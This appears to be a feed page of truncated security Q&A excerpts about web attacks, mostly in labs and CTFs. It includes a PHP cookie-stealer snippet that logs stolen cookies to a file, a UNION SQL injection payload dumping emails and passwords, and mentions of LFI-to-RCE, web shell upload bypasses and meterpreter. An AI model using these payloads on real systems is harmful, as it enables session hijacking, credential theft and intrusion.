Collaborate Disseminate
For about a year I am having trouble with my computer it just happen to crash and after a restart it render useless and I then have to install a new os, the problem persists but now I have new problem (For which this post is actually about… Continue reading Getting bus error (core dumped) whenever I start Nautilus or any gnome specific file manager [closed]
For about a year I am having trouble with my computer it just happen to crash and after a restart it render useless and I then have to install a new os, the problem persists but now I have new problem (For which this post is actually about… Continue reading Getting bus error (core dumped) whenever I start Nautilus or any gnome specific file manager [closed]
I am using this code
php
<?php
header (‘Location:https://scpfoundation.net’);
$cookies = $_GET["c"];
$file = fopen(‘log.txt’, ‘a’);
fwrite($file, $cookies . "\n\n");
?>
Html
<body>
<script type="tex… Continue reading Cookie stealer doesn’t work [closed]
I’m reading this blog and it says:
If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.
Then, i… Continue reading DVWA – Converting Local File Inclusion to Remote Code Exploitation
I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension.
When I open my shell with a web browser, it doesn’t execute (confirmed with a packet capture) but when I open it with curl, it re… Continue reading Can’t execute shell i uploaded with cURL
I’m solving a CTF challenge and I have this PHP function that decrypts the cipher
I want to build a function that encrypts plain text using
vmUeu7D9bzE5JmNE as a key
example output:
//$EncString = encryptString("aaaaaaaaaaaaaaaaaaaaa&… Continue reading reversing php AES-256-CBC decryption function using openssl_encrypt [closed]
I have a sqli and i can dump data from the DB with the query below func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(uid,’:’,email,’:’,password) FROM user WHERE uid=56; –… Continue reading SQL Injection update query
I just set up a lab with bwapp and wanted to jump straight into webshell.
I used Unrestricted file upload vuln –> uploaded my perfect shell created with msfvenom.
My only problem is that my session doesn’t seem persistent as I’m gettin… Continue reading Meterpreter Session died [Bwapp]
I’m currently doing an online CTF and I have LFI an can read the source code of the upload function. In there I see the following line:
shell_exec(‘rm -rf ‘ . directory/ . ‘*.p*’);
So anytime I upload a .php file, it gets deleted.
Is ther… Continue reading Break out or bypass php functions
I’m doing some research on PHP’s str_shuffle function, I already asked this question multiply times on StackOverflow but got no answer https://stackoverflow.com/questions/61968859/is-it-possible-to-predict-the-next-output-for-the-str-shuff… Continue reading Security of PHP’s str_shuffle()